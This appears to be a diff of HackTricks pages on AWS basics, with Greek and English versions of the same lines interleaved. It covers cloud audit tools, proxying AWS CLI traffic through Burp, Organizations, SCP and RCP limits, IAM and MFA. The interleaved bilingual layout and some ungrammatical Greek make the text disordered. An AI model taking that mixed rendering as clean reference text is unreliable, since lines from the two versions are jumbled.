- [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian): Ο Cloud Custodian είναι μια μηχανή κανόνων για τη διαχείριση δημόσιων λογαριασμών και πόρων cloud. Επιτρέπει στους χρήστες να **ορίζουν πολιτικές για να επιτρέπουν μια καλά διαχειριζόμενη υποδομή cloud**, που είναι τόσο ασφαλής όσο και βελτιστοποιημένη για κόστος. Συγκεντρώνει πολλά από τα ad-hoc σενάρια που έχουν οι οργανισμοί σε ένα ελαφρύ και ευέλικτο εργαλείο, με ενοποιημένα μετρήσεις και αναφορές.
- [**pacbot**](https://github.com/tmobile/pacbot)**: Policy as Code Bot (PacBot)** είναι μια πλατφόρμα για **συνεχή παρακολούθηση συμμόρφωσης, αναφορά συμμόρφωσης και αυτοματοποίηση ασφάλειας για το cloud**. Στο PacBot, οι πολιτικές ασφάλειας και συμμόρφωσης υλοποιούνται ως κώδικας. Όλοι οι πόροι που ανακαλύπτονται από το PacBot αξιολογούνται σύμφωνα με αυτές τις πολιτικές για να εκτιμηθεί η συμμόρφωση με τις πολιτικές. Το πλαίσιο **auto-fix** του PacBot παρέχει τη δυνατότητα αυτόματης αντίδρασης σε παραβιάσεις πολιτικής αναλαμβάνοντας προκαθορισμένες ενέργειες.
- [**streamalert**](https://github.com/airbnb/streamalert)**:** Το StreamAlert είναι ένα serverless, **σε πραγματικό χρόνο** πλαίσιο ανάλυσης δεδομένων που σας δίνει τη δυνατότητα να **εισάγετε, αναλύετε και ειδοποιείτε** για δεδομένα από οποιοδήποτε περιβάλλον, χρησιμοποιώντας πηγές δεδομένων και λογική ειδοποίησης που ορίζετε. Οι ομάδες ασφάλειας υπολογιστών χρησιμοποιούν το StreamAlert για να σαρώσουν τεραμπάιτ δεδομένων καταγραφής καθημερινά για ανίχνευση και αντίδραση σε περιστατικά.
### Constant Audit
- [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian): Cloud Custodian is a rules engine for managing public cloud accounts and resources. It allows users to **define policies to enable a well managed cloud infrastructure**, that's both secure and cost optimized. It consolidates many of the adhoc scripts organizations have into a lightweight and flexible tool, with unified metrics and reporting.
- [**pacbot**](https://github.com/tmobile/pacbot)**: Policy as Code Bot (PacBot)** is a platform for **continuous compliance monitoring, compliance reporting and security automation for the clou**d. In PacBot, security and compliance policies are implemented as code. All resources discovered by PacBot are evaluated against these policies to gauge policy conformance. The PacBot **auto-fix** framework provides the ability to automatically respond to policy violations by taking predefined actions.
- [**streamalert**](https://github.com/airbnb/streamalert)**:** StreamAlert is a serverless, **real-time** data analysis framework which empowers you to **ingest, analyze, and alert** on data from any environment, u**sing data sources and alerting logic you define**. Computer security teams use StreamAlert to scan terabytes of log data every day for incident detection and response.
## DEBUG: Capture AWS cli requests
## DEBUG: Καταγραφή αιτημάτων AWS cli
```bash
# Set proxy
export HTTP_PROXY=http://localhost:8080
@@ -357,9 +380,14 @@ export AWS_CA_BUNDLE=~/Downloads/certificate.pem
# Run aws cli normally trusting burp cert
aws ...
```
## Αναφορές
## References
- [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ)
- [https://cloudsecdocs.com/aws/defensive/tooling/audit/](https://cloudsecdocs.com/aws/defensive/tooling/audit/)
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -1,97 +1,103 @@
# AWS - Βασικές Πληροφορίες
# AWS - Basic Information
{{#include ../../../banners/hacktricks-training.md}}
## Ιεραρχία Οργάνωσης
## Organization Hierarchy
![](<../../../images/image (151).png>)
### Λογαριασμοί
### Accounts
Στο AWS, υπάρχει ένας **root account**, ο οποίος είναι ο **γονικός κάδος για όλους τους λογαριασμούς** της **οργάνωσής** σας. Ωστόσο, δεν χρειάζεται να χρησιμοποιήσετε αυτόν τον λογαριασμό για να αναπτύξετε πόρους, μπορείτε να δημιουργήσετε **άλλους λογαριασμούς για να διαχωρίσετε διαφορετικές υποδομές AWS** μεταξύ τους.
In AWS, there is a **root account**, which is the **parent container for all the accounts** for your **organization**. However, you don't need to use that account to deploy resources, you can create **other accounts to separate different AWS** infrastructures between them.
Αυτό είναι πολύ ενδιαφέρον από την **οπτική της ασφάλειας**, καθώς **ένας λογαριασμός δεν θα μπορεί να έχει πρόσβαση σε πόρους άλλου λογαριασμού** (εκτός αν έχουν δημιουργηθεί συγκεκριμένες γέφυρες), έτσι μπορείτε να δημιουργήσετε όρια μεταξύ των αναπτύξεων.
This is very interesting from a **security** point of view, as **one account won't be able to access resources from other account** (except bridges are specifically created), so this way you can create boundaries between deployments.
Επομένως, υπάρχουν **δύο τύποι λογαριασμών σε μια οργάνωση** (μιλάμε για λογαριασμούς AWS και όχι λογαριασμούς χρηστών): ένας μόνο λογαριασμός που έχει οριστεί ως ο λογαριασμός διαχείρισης, και ένας ή περισσότεροι λογαριασμοί μελών.
Therefore, there are **two types of accounts in an organization** (we are talking about AWS accounts and not User accounts): a single account that is designated as the management account, and one or more member accounts.
- Ο **λογαριασμός διαχείρισης (ο root account)** είναι ο λογαριασμός που χρησιμοποιείτε για να δημιουργήσετε την οργάνωση. Από τον λογαριασμό διαχείρισης της οργάνωσης, μπορείτε να κάνετε τα εξής:
- The **management account (the root account)** is the account that you use to create the organization. From the organization's management account, you can do the following:
- Δημιουργία λογαριασμών στην οργάνωση
- Πρόσκληση άλλων υπαρχόντων λογαριασμών στην οργάνωση
- Αφαίρεση λογαριασμών από την οργάνωση
- Διαχείριση προσκλήσεων
- Εφαρμογή πολιτικών σε οντότητες (roots, OUs ή λογαριασμούς) εντός της οργάνωσης
- Ενεργοποίηση ενσωμάτωσης με υποστηριζόμενες υπηρεσίες AWS για να παρέχετε λειτουργικότητα υπηρεσιών σε όλους τους λογαριασμούς στην οργάνωση.
- Είναι δυνατή η σύνδεση ως root user χρησιμοποιώντας το email και τον κωδικό πρόσβασης που χρησιμοποιήθηκαν για τη δημιουργία αυτού του root account/οργάνωσης.
- Create accounts in the organization
- Invite other existing accounts to the organization
- Remove accounts from the organization
- Manage invitations
- Apply policies to entities (roots, OUs, or accounts) within the organization
- Enable integration with supported AWS services to provide service functionality across all of the accounts in the organization.
- It's possible to login as the root user using the email and password used to create this root account/organization.
Ο λογαριασμός διαχείρισης έχει τις **ευθύνες ενός λογαριασμού πληρωμής** και είναι υπεύθυνος για την πληρωμή όλων των χρεώσεων που προκύπτουν από τους λογαριασμούς μελών. Δεν μπορείτε να αλλάξετε τον λογαριασμό διαχείρισης μιας οργάνωσης.
The management account has the **responsibilities of a payer account** and is responsible for paying all charges that are accrued by the member accounts. You can't change an organization's management account.
- **Member accounts** make up all of the rest of the accounts in an organization. An account can be a member of only one organization at a time. You can attach a policy to an account to apply controls to only that one account.
- Member accounts **must use a valid email address** and can have a **name**, in general they wont be able to manage the billing (but they might be given access to it).
- Οι **λογαριασμοί μελών** αποτελούν όλους τους υπόλοιπους λογαριασμούς σε μια οργάνωση. Ένας λογαριασμός μπορεί να είναι μέλος μόνο μιας οργάνωσης τη φορά. Μπορείτε να επισυνάψετε μια πολιτική σε έναν λογαριασμό για να εφαρμόσετε ελέγχους μόνο σε αυτόν τον λογαριασμό.
- Οι λογαριασμοί μελών **πρέπει να χρησιμοποιούν μια έγκυρη διεύθυνση email** και μπορούν να έχουν ένα **όνομα**, γενικά δεν θα μπορούν να διαχειρίζονται την τιμολόγηση (αλλά μπορεί να τους δοθεί πρόσβαση σε αυτήν).
```
aws organizations create-account --account-name testingaccount --email testingaccount@lalala1233fr.com
```
### **Οργανωτικές Μονάδες**
Οι λογαριασμοί μπορούν να ομαδοποιηθούν σε **Οργανωτικές Μονάδες (OU)**. Με αυτόν τον τρόπο, μπορείτε να δημιουργήσετε **πολιτικές** για την Οργανωτική Μονάδα που θα **εφαρμόζονται σε όλους τους παιδικούς λογαριασμούς**. Σημειώστε ότι μια OU μπορεί να έχει άλλες OUs ως παιδιά.
### **Organization Units**
Accounts can be grouped in **Organization Units (OU)**. This way, you can create **policies** for the Organization Unit that are going to be **applied to all the children accounts**. Note that an OU can have other OUs as children.
```bash
# You can get the root id from aws organizations list-roots
aws organizations create-organizational-unit --parent-id r-lalala --name TestOU
```
### Service Control Policy (SCP)
Μια **service control policy (SCP)** είναι μια πολιτική που καθορίζει τις υπηρεσίες και τις ενέργειες που μπορούν να χρησιμοποιούν οι χρήστες και οι ρόλοι στους λογαριασμούς που επηρεάζει η SCP. Οι SCP είναι **παρόμοιες με τις πολιτικές δικαιωμάτων IAM** εκτός από το ότι **δεν παρέχουν κανένα δικαίωμα**. Αντίθετα, οι SCP καθορίζουν τα **μέγιστα δικαιώματα** για έναν οργανισμό, οργανωτική μονάδα (OU) ή λογαριασμό. Όταν επισυνάπτετε μια SCP στη ρίζα του οργανισμού σας ή σε μια OU, η **SCP περιορίζει τα δικαιώματα για οντότητες σε μέλη λογαριασμούς**.
A **service control policy (SCP)** is a policy that specifies the services and actions that users and roles can use in the accounts that the SCP affects. SCPs are **similar to IAM** permissions policies except that they **don't grant any permissions**. Instead, SCPs specify the **maximum permissions** for an organization, organizational unit (OU), or account. When you attach a SCP to your organization root or an OU, the **SCP limits permissions for entities in member accounts**.
Αυτή είναι η ΜΟΝΗ τρόπος που **ακόμα και ο ριζικός χρήστης μπορεί να σταματήσει** να κάνει κάτι. Για παράδειγμα, θα μπορούσε να χρησιμοποιηθεί για να σταματήσει τους χρήστες από το να απενεργοποιούν το CloudTrail ή να διαγράφουν αντίγραφα ασφαλείας.\
Ο μόνος τρόπος να παρακαμφθεί αυτό είναι να παραβιαστεί επίσης ο **κύριος λογαριασμός** που ρυθμίζει τις SCP (ο κύριος λογαριασμός δεν μπορεί να αποκλειστεί).
This is the ONLY way that **even the root user can be stopped** from doing something. For example, it could be used to stop users from disabling CloudTrail or deleting backups.\
The only way to bypass this is to compromise also the **master account** that configures the SCPs (master account cannot be blocked).
> [!WARNING]
> Σημειώστε ότι **οι SCP περιορίζουν μόνο τους κύριους στον λογαριασμό**, επομένως άλλοι λογαριασμοί δεν επηρεάζονται. Αυτό σημαίνει ότι η ύπαρξη μιας SCP που αρνείται το `s3:GetObject` δεν θα σταματήσει τους ανθρώπους από το **να έχουν πρόσβαση σε ένα δημόσιο S3 bucket** στον λογαριασμό σας.
> Note that **SCPs only restrict the principals in the account**, so other accounts are not affected. This means having an SCP deny `s3:GetObject` will not stop people from **accessing a public S3 bucket** in your account.
Παραδείγματα SCP:
SCP examples:
- Απαγόρευση του ριζικού λογαριασμού εντελώς
- Επιτρέψτε μόνο συγκεκριμένες περιοχές
- Επιτρέψτε μόνο υπηρεσίες που έχουν λευκή λίστα
- Απαγόρευση του GuardDuty, CloudTrail και S3 Public Block Access από
- Deny the root account entirely
- Only allow specific regions
- Only allow white-listed services
- Deny GuardDuty, CloudTrail, and S3 Public Block Access from
να απενεργοποιηθούν
being disabled
- Απαγόρευση ρόλων ασφάλειας/αντίκτυπου από το να διαγραφούν ή
- Deny security/incident response roles from being deleted or
να τροποποιηθούν.
modified.
- Απαγόρευση διαγραφής αντιγράφων ασφαλείας.
- Απαγόρευση δημιουργίας χρηστών IAM και κλειδιών πρόσβασης
- Deny backups from being deleted.
- Deny creating IAM users and access keys
Βρείτε **παραδείγματα JSON** στο [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html)
Find **JSON examples** in [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html)
### Resource Control Policy (RCP)
Μια **resource control policy (RCP)** είναι μια πολιτική που καθορίζει τα **μέγιστα δικαιώματα για πόρους εντός του οργανισμού AWS σας**. Οι RCP είναι παρόμοιες με τις πολιτικές IAM στη σύνταξη αλλά **δεν παρέχουν δικαιώματα**—μόνο περιορίζουν τα δικαιώματα που μπορούν να εφαρμοστούν στους πόρους από άλλες πολιτικές. Όταν επισυνάπτετε μια RCP στη ρίζα του οργανισμού σας, σε μια οργανωτική μονάδα (OU) ή σε έναν λογαριασμό, η RCP περιορίζει τα δικαιώματα πόρων σε όλους τους πόρους στην επηρεαζόμενη περιοχή.
A **resource control policy (RCP)** is a policy that defines the **maximum permissions for resources within your AWS organization**. RCPs are similar to IAM policies in syntax but **dont grant permissions**—they only cap the permissions that can be applied to resources by other policies. When you attach an RCP to your organization root, an organizational unit (OU), or an account, the RCP limits resource permissions across all resources in the affected scope.
Αυτή είναι η ΜΟΝΗ τρόπος για να διασφαλίσετε ότι **οι πόροι δεν μπορούν να υπερβούν τα προκαθορισμένα επίπεδα πρόσβασης**—ακόμα και αν μια πολιτική βασισμένη σε ταυτότητα ή πόρο είναι πολύ επιεικής. Ο μόνος τρόπος να παρακαμφθούν αυτοί οι περιορισμοί είναι να τροποποιηθεί επίσης η RCP που έχει ρυθμιστεί από τον λογαριασμό διαχείρισης του οργανισμού σας.
This is the ONLY way to ensure that **resources cannot exceed predefined access levels**—even if an identity-based or resource-based policy is too permissive. The only way to bypass these limits is to also modify the RCP configured by your organizations management account.
> [!WARNING]
> Οι RCP περιορίζουν μόνο τα δικαιώματα που μπορούν να έχουν οι πόροι. Δεν ελέγχουν άμεσα τι μπορούν να κάνουν οι κύριοι. Για παράδειγμα, αν μια RCP αρνείται την εξωτερική πρόσβαση σε ένα S3 bucket, διασφαλίζει ότι τα δικαιώματα του bucket δεν επιτρέπουν ποτέ ενέργειες πέρα από το καθορισμένο όριο—ακόμα και αν μια πολιτική βασισμένη σε πόρους είναι λανθασμένα ρυθμισμένη.
> RCPs only restrict the permissions that resources can have. They dont directly control what principals can do. For example, if an RCP denies external access to an S3 bucket, it ensures that the buckets permissions never allow actions beyond the set limit—even if a resource-based policy is misconfigured.
Παραδείγματα RCP:
RCP examples:
- Περιορίστε τα S3 buckets ώστε να μπορούν να προσπελαστούν μόνο από κύριους εντός του οργανισμού σας
- Περιορίστε τη χρήση κλειδιών KMS ώστε να επιτρέπουν μόνο λειτουργίες από αξιόπιστους οργανωτικούς λογαριασμούς
- Περιορίστε τα δικαιώματα στις SQS ουρές για να αποτρέψετε μη εξουσιοδοτημένες τροποποιήσεις
- Επιβάλετε όρια πρόσβασης στα μυστικά του Secrets Manager για να προστατεύσετε ευαίσθητα δεδομένα
- Restrict S3 buckets so they can only be accessed by principals within your organization
- Limit KMS key usage to only allow operations from trusted organizational accounts
- Cap permissions on SQS queues to prevent unauthorized modifications
- Enforce access boundaries on Secrets Manager secrets to protect sensitive data
Βρείτε παραδείγματα στην [τεκμηρίωση Πολιτικών Ελέγχου Πόρων AWS Organizations](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_rcps.html)
Find examples in [AWS Organizations Resource Control Policies documentation](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_rcps.html)
### ARN
**Amazon Resource Name** είναι το **μοναδικό όνομα** που έχει κάθε πόρος μέσα στο AWS, είναι διαμορφωμένο ως εξής:
**Amazon Resource Name** is the **unique name** every resource inside AWS has, its composed like this:
```
arn:partition:service:region:account-id:resource-type/resource-id
arn:aws:elasticbeanstalk:us-west-1:123456789098:environment/App/Env
```
Σημειώστε ότι υπάρχουν 4 διαμερίσματα στο AWS αλλά μόνο 3 τρόποι για να τα καλέσετε:
Note that there are 4 partitions in AWS but only 3 ways to call them:
- AWS Standard: `aws`
- AWS China: `aws-cn`
@@ -100,240 +106,246 @@ arn:aws:elasticbeanstalk:us-west-1:123456789098:environment/App/Env
## IAM - Identity and Access Management
Το IAM είναι η υπηρεσία που θα σας επιτρέψει να διαχειριστείτε **Authentication**, **Authorization** και **Access Control** μέσα στον λογαριασμό σας στο AWS.
IAM is the service that will allow you to manage **Authentication**, **Authorization** and **Access Control** inside your AWS account.
- **Authentication** - Διαδικασία καθορισμού μιας ταυτότητας και της επαλήθευσης αυτής της ταυτότητας. Αυτή η διαδικασία μπορεί να υποδιαιρεθεί σε: Αναγνώριση και επαλήθευση.
- **Authorization** - Καθορίζει τι μπορεί να έχει πρόσβαση μια ταυτότητα μέσα σε ένα σύστημα μόλις έχει επαληθευτεί σε αυτό.
- **Access Control** - Η μέθοδος και η διαδικασία με την οποία παρέχεται πρόσβαση σε έναν ασφαλή πόρο.
- **Authentication** - Process of defining an identity and the verification of that identity. This process can be subdivided in: Identification and verification.
- **Authorization** - Determines what an identity can access within a system once it's been authenticated to it.
- **Access Control** - The method and process of how access is granted to a secure resource
Το IAM μπορεί να οριστεί από την ικανότητά του να διαχειρίζεται, ελέγχει και κυβερνά τους μηχανισμούς αυθεντικοποίησης, εξουσιοδότησης και ελέγχου πρόσβασης ταυτοτήτων στους πόρους σας μέσα στον λογαριασμό σας στο AWS.
IAM can be defined by its ability to manage, control and govern authentication, authorization and access control mechanisms of identities to your resources within your AWS account.
### [AWS account root user](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html) <a href="#id_root" id="id_root"></a>
Όταν δημιουργείτε για πρώτη φορά έναν λογαριασμό Amazon Web Services (AWS), ξεκινάτε με μια μοναδική ταυτότητα σύνδεσης που έχει **πλήρη πρόσβαση σε όλες** τις υπηρεσίες και τους πόρους AWS στον λογαριασμό. Αυτός είναι ο _**root user**_ του λογαριασμού AWS και αποκτάται με την είσοδο με τη **διεύθυνση email και τον κωδικό πρόσβασης που χρησιμοποιήσατε για να δημιουργήσετε τον λογαριασμό**.
When you first create an Amazon Web Services (AWS) account, you begin with a single sign-in identity that has **complete access to all** AWS services and resources in the account. This is the AWS account _**root user**_ and is accessed by signing in with the **email address and password that you used to create the account**.
Σημειώστε ότι ένας νέος **admin user** θα έχει **λιγότερα δικαιώματα από τον root user**.
Note that a new **admin user** will have **less permissions that the root user**.
Από άποψη ασφάλειας, συνιστάται να δημιουργήσετε άλλους χρήστες και να αποφύγετε τη χρήση αυτού.
From a security point of view, it's recommended to create other users and avoid using this one.
### [IAM users](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users.html) <a href="#id_iam-users" id="id_iam-users"></a>
Ένας _user_ IAM είναι μια οντότητα που δημιουργείτε στο AWS για να **αντιπροσωπεύει το άτομο ή την εφαρμογή** που το χρησιμοποιεί για να **αλληλεπιδράσει με το AWS**. Ένας χρήστης στο AWS αποτελείται από ένα όνομα και διαπιστευτήρια (κωδικός πρόσβασης και έως δύο κλειδιά πρόσβασης).
An IAM _user_ is an entity that you create in AWS to **represent the person or application** that uses it to **interact with AWS**. A user in AWS consists of a name and credentials (password and up to two access keys).
Όταν δημιουργείτε έναν χρήστη IAM, του παρέχετε **δικαιώματα** κάνοντάς τον **μέλος μιας ομάδας χρηστών** που έχει συνημμένες κατάλληλες πολιτικές δικαιωμάτων (συνιστάται), ή **συνημμένα πολιτικές** απευθείας στον χρήστη.
When you create an IAM user, you grant it **permissions** by making it a **member of a user group** that has appropriate permission policies attached (recommended), or by **directly attaching policies** to the user.
Οι χρήστες μπορούν να έχουν **ενεργοποιημένο MFA για σύνδεση** μέσω της κονσόλας. Τα API tokens των χρηστών με ενεργοποιημένο MFA δεν προστατεύονται από το MFA. Εάν θέλετε να **περιορίσετε την πρόσβαση των κλειδιών API ενός χρήστη χρησιμοποιώντας MFA**, πρέπει να υποδείξετε στην πολιτική ότι για να εκτελούνται ορισμένες ενέργειες πρέπει να είναι παρόν το MFA (παράδειγμα [**εδώ**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html)).
Users can have **MFA enabled to login** through the console. API tokens of MFA enabled users aren't protected by MFA. If you want to **restrict the access of a users API keys using MFA** you need to indicate in the policy that in order to perform certain actions MFA needs to be present (example [**here**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html)).
#### CLI
- **Access Key ID**: 20 τυχαίοι χαρακτήρες αλφαριθμητικούς κεφαλαίους όπως AKHDNAPO86BSHKDIRYT
- **Secret access key ID**: 40 τυχαίοι χαρακτήρες κεφαλαίους και πεζούς: S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU (Δεν είναι δυνατή η ανάκτηση χαμένων κωδικών πρόσβασης).
- **Access Key ID**: 20 random uppercase alphanumeric characters like AKHDNAPO86BSHKDIRYT
- **Secret access key ID**: 40 random upper and lowercase characters: S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU (It's not possible to retrieve lost secret access key IDs).
Όποτε χρειάζεστε να **αλλάξετε το Access Key**, αυτή είναι η διαδικασία που πρέπει να ακολουθήσετε:\
_Δημιουργήστε ένα νέο access key -> Εφαρμόστε το νέο κλειδί στο σύστημα/εφαρμογή -> σημειώστε το αρχικό ως ανενεργό -> Δοκιμάστε και επαληθεύστε ότι το νέο access key λειτουργεί -> Διαγράψτε το παλιό access key_
Whenever you need to **change the Access Key** this is the process you should follow:\
_Create a new access key -> Apply the new key to system/application -> mark original one as inactive -> Test and verify new access key is working -> Delete old access key_
### MFA - Multi Factor Authentication
Χρησιμοποιείται για να **δημιουργήσει έναν επιπλέον παράγοντα για την αυθεντικοποίηση** εκτός από τις υπάρχουσες μεθόδους σας, όπως ο κωδικός πρόσβασης, δημιουργώντας έτσι ένα επίπεδο πολλαπλής αυθεντικοποίησης.\
Μπορείτε να χρησιμοποιήσετε μια **δωρεάν εικονική εφαρμογή ή μια φυσική συσκευή**. Μπορείτε να χρησιμοποιήσετε εφαρμογές όπως η Google Authentication δωρεάν για να ενεργοποιήσετε το MFA στο AWS.
It's used to **create an additional factor for authentication** in addition to your existing methods, such as password, therefore, creating a multi-factor level of authentication.\
You can use a **free virtual application or a physical device**. You can use apps like google authentication for free to activate a MFA in AWS.
Πολιτικές με συνθήκες MFA μπορούν να συνημμένες στα εξής:
Policies with MFA conditions can be attached to the following:
- Ένας χρήστης ή ομάδα IAM
- Ένας πόρος όπως ένα Amazon S3 bucket, Amazon SQS queue ή Amazon SNS topic
- Η πολιτική εμπιστοσύνης ενός IAM role που μπορεί να αναληφθεί από έναν χρήστη
- An IAM user or group
- A resource such as an Amazon S3 bucket, Amazon SQS queue, or Amazon SNS topic
- The trust policy of an IAM role that can be assumed by a user
If you want to **access via CLI** a resource that **checks for MFA** you need to call **`GetSessionToken`**. That will give you a token with info about MFA.\
Note that **`AssumeRole` credentials don't contain this information**.
Εάν θέλετε να **έχετε πρόσβαση μέσω CLI** σε έναν πόρο που **ελέγχει για MFA**, πρέπει να καλέσετε **`GetSessionToken`**. Αυτό θα σας δώσει ένα token με πληροφορίες σχετικά με το MFA.\
Σημειώστε ότι **τα διαπιστευτήρια `AssumeRole` δεν περιέχουν αυτές τις πληροφορίες**.
```bash
aws sts get-session-token --serial-number <arn_device> --token-code <code>
```
Όπως [**αναφέρεται εδώ**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html), υπάρχουν πολλές διαφορετικές περιπτώσεις όπου **η MFA δεν μπορεί να χρησιμοποιηθεί**.
### [Ομάδες χρηστών IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) <a href="#id_iam-groups" id="id_iam-groups"></a>
As [**stated here**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html), there are a lot of different cases where **MFA cannot be used**.
Μια ομάδα [χρηστών IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) είναι ένας τρόπος για να **συνδέσετε πολιτικές σε πολλούς χρήστες** ταυτόχρονα, κάτι που μπορεί να διευκολύνει τη διαχείριση των δικαιωμάτων για αυτούς τους χρήστες. **Οι ρόλοι και οι ομάδες δεν μπορούν να είναι μέρος μιας ομάδας**.
### [IAM user groups](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) <a href="#id_iam-groups" id="id_iam-groups"></a>
Μπορείτε να συνδέσετε μια **πολιτική βάσει ταυτότητας σε μια ομάδα χρηστών** έτσι ώστε όλοι οι **χρήστες** στην ομάδα χρηστών **να λαμβάνουν τα δικαιώματα της πολιτικής**. **Δεν μπορείτε** να προσδιορίσετε μια **ομάδα χρηστών** ως **`Principal`** σε μια **πολιτική** (όπως μια πολιτική βάσης πόρων) επειδή οι ομάδες σχετίζονται με τα δικαιώματα, όχι με την αυθεντικοποίηση, και οι principals είναι αυθεντικοποιημένες οντότητες IAM.
An IAM [user group](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) is a way to **attach policies to multiple users** at one time, which can make it easier to manage the permissions for those users. **Roles and groups cannot be part of a group**.
Ακολουθούν μερικά σημαντικά χαρακτηριστικά των ομάδων χρηστών:
You can attach an **identity-based policy to a user group** so that all of the **users** in the user group **receive the policy's permissions**. You **cannot** identify a **user group** as a **`Principal`** in a **policy** (such as a resource-based policy) because groups relate to permissions, not authentication, and principals are authenticated IAM entities.
- Μια **ομάδα** χρηστών μπορεί να **περιέχει πολλούς χρήστες**, και ένας **χρήστης** μπορεί να **ανήκει σε πολλές ομάδες**.
- **Οι ομάδες χρηστών δεν μπορούν να είναι φωλιασμένες**; μπορούν να περιέχουν μόνο χρήστες, όχι άλλες ομάδες χρηστών.
- Δεν υπάρχει **καμία προεπιλεγμένη ομάδα χρηστών που να περιλαμβάνει αυτόματα όλους τους χρήστες στον λογαριασμό AWS**. Εάν θέλετε να έχετε μια τέτοια ομάδα χρηστών, πρέπει να τη δημιουργήσετε και να αναθέσετε κάθε νέο χρήστη σε αυτήν.
- Ο αριθμός και το μέγεθος των πόρων IAM σε έναν λογαριασμό AWS, όπως ο αριθμός των ομάδων και ο αριθμός των ομάδων στις οποίες μπορεί να είναι μέλος ένας χρήστης, είναι περιορισμένα. Για περισσότερες πληροφορίες, δείτε [ποσοστά IAM και AWS STS](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html).
Here are some important characteristics of user groups:
### [Ρόλοι IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html) <a href="#id_iam-roles" id="id_iam-roles"></a>
- A user **group** can **contain many users**, and a **user** can **belong to multiple groups**.
- **User groups can't be nested**; they can contain only users, not other user groups.
- There is **no default user group that automatically includes all users in the AWS account**. If you want to have a user group like that, you must create it and assign each new user to it.
- The number and size of IAM resources in an AWS account, such as the number of groups, and the number of groups that a user can be a member of, are limited. For more information, see [IAM and AWS STS quotas](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html).
Ένας **ρόλος IAM** είναι πολύ **παρόμοιος** με έναν **χρήστη**, καθώς είναι μια **ταυτότητα με πολιτικές δικαιωμάτων που καθορίζουν τι** μπορεί και δεν μπορεί να κάνει στο AWS. Ωστόσο, ένας ρόλος **δεν έχει καμία διαπιστευτήρια** (κωδικό πρόσβασης ή κλειδιά πρόσβασης) που να σχετίζονται με αυτόν. Αντί να είναι μοναδικά συνδεδεμένος με ένα άτομο, ένας ρόλος προορίζεται να είναι **αναλαμβανόμενος από οποιονδήποτε τον χρειάζεται (και έχει αρκετά δικαιώματα)**. Ένας **χρήστης IAM μπορεί να αναλάβει έναν ρόλο για να** αποκτήσει προσωρινά διαφορετικά δικαιώματα για μια συγκεκριμένη εργασία. Ένας ρόλος μπορεί να **ανατεθεί σε έναν** [**ομοσπονδωμένο χρήστη**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html) που συνδέεται χρησιμοποιώντας έναν εξωτερικό πάροχο ταυτότητας αντί για το IAM.
### [IAM roles](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html) <a href="#id_iam-roles" id="id_iam-roles"></a>
Ένας ρόλος IAM αποτελείται από **δύο τύπους πολιτικών**: Μια **πολιτική εμπιστοσύνης**, η οποία δεν μπορεί να είναι κενή, καθορίζοντας **ποιος μπορεί να αναλάβει** τον ρόλο, και μια **πολιτική δικαιωμάτων**, η οποία δεν μπορεί να είναι κενή, καθορίζοντας **τι μπορεί να προσπελάσει**.
An IAM **role** is very **similar** to a **user**, in that it is an **identity with permission policies that determine what** it can and cannot do in AWS. However, a role **does not have any credentials** (password or access keys) associated with it. Instead of being uniquely associated with one person, a role is intended to be **assumable by anyone who needs it (and have enough perms)**. An **IAM user can assume a role to temporarily** take on different permissions for a specific task. A role can be **assigned to a** [**federated user**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html) who signs in by using an external identity provider instead of IAM.
#### Υπηρεσία ασφαλείας διακριτικών AWS (STS)
An IAM role consists of **two types of policies**: A **trust policy**, which cannot be empty, defining **who can assume** the role, and a **permissions policy**, which cannot be empty, defining **what it can access**.
Η Υπηρεσία ασφαλείας διακριτικών AWS (STS) είναι μια διαδικτυακή υπηρεσία που διευκολύνει την **έκδοση προσωρινών, περιορισμένων διαπιστευτηρίων**. Είναι ειδικά προσαρμοσμένη για:
#### AWS Security Token Service (STS)
### [Προσωρινά διαπιστευτήρια στο IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html) <a href="#id_temp-creds" id="id_temp-creds"></a>
AWS Security Token Service (STS) is a web service that facilitates the **issuance of temporary, limited-privilege credentials**. It is specifically tailored for:
